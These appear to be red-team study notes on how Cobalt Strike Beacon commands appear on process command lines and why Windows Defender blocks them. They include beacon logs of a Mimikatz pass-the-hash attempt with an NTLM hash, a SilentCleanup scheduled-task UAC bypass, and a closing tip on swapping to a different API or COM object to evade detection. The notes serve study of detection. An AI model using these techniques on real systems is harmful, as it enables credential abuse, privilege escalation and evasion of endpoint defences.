Command-Line Detections

Beacon commands work by running a new process, usually started by the CreateProcessA API

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

The API accepts 2 string parameters: lpApplicationName and lpCommandLine . Lets look at how theyre used with some commands

  • shell
    • lpApplicationName is NULL
    • lpCommandLine is C:\Windows\System32\cmd.exe /C <your command>
  • run
    • lpApplicationName is NULL
    • lpCommandLine is <your command>
  • powershell
    • lpApplicationName is NULL
    • lpCommandLine is powershell -nop -exec bypass -EncodedCommand <your command as a b64 string>
  • fork & run (spawn)
    • lpApplicationName is NULL
    • lpCommandLine is <the current spawnto>

pth

  • Beacon's built-in pth (pass-the-hash) command is a wrapper around Mimikatz's sekurlsa::pth module
  • pth is a means of impersonating a user by way of their NTLM hash
  • the output below shows even though
beacon> getuid
[*] Tasked beacon to get userid
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> pth CONTOSO\rsteel FC525C9683E8FE067095BA2DDC971889
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"rsteel" /domain:"CONTOSO" /ntlm:FC525C9683E8FE067095BA2DDC971889 /run:"%COMSPEC% /c echo 3653adf6614 > \\.\pipe\c0b81c" command
[+] [job 0] received output:
user	: rsteel
domain	: CONTOSO
program	: C:\Windows\system32\cmd.exe /c echo 3653adf6614 > \\.\pipe\c0b81c
impers.	: no
NTLM	: fc525c9683e8fe067095ba2ddc971889
ERROR kuhl_m_sekurlsa_pth ; CreateProcessWithLogonW (0x00000005)

beacon> windows_error_code 5
ERROR_ACCESS_DENIED
  • also tells us mimikatz tried to run C:\Windows\system32\cmd.exe /c echo 3653adf6614 > \\.\pipe\c0b81c using CreateProcessWithLogonW , a named pipe impersonation technique
    • so the acces denied error was in response to this API

uac-schtasks

  • UAC bypass technique thats provided by CS's Elevate Kit.
  • Purpose is to elevate from a medium-integrity session to high-integrity session
beacon> elevate uac-schtasks tcp-local
[*] Tasked Beacon to run windows/beacon_bind_tcp (127.0.0.1:1337) in a high integrity context
[+] [job 0] received output:
ERROR: Start-Process : This command cannot be run due to the error: Access is denied.
ERROR: At line:77 char:21
ERROR: + ...  $Process = Start-Process -FilePath $schtasksPath -ArgumentList '/Run ...
ERROR: +                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ERROR:     + CategoryInfo          : InvalidOperation: (:) [Start-Process], InvalidOperationException
ERROR:     + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.StartProcess 
ERROR:    Command
ERROR:  
  • we also get an access denied error here
  • the main cause of detection can be traced to whats happening underneathe the hood here
    • beacon_exploit_register function is used to add exploits to the elevate command
    • the interesting function here is schtasks_exploit
    • which imports a PS script called Invoke-EnvBypass.ps1 , generates a PowerShell one-liner payload and then runs it via the Invoke-EnvBypass cmdlet
    • the PS script calls Start-Process in order to run the native schtasks.exe tool with the cmdline arguments /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I.

Why Access Denied?

We get an access denied error because the Windows Defender driver has kernel routings that allow drivers to register a callback routing when events of interest occur, such as a process being started

The driver is able to inspect ImageFileName and CommandLine callbacks

If it sees something it doesnt like, it can set CreationStatus to a non-success value, typically STATUS_ACCESS_DENIED, to prevent the process from being started.

The Solution

The only thing you can do unless you find a kernel vulnerability is to a different procedure that achieves teh same outcome

For example instead of running schtasks.exe with 'SilentCleanup' on the command line, you can use a different API or COM object that can be used to trigger the task instead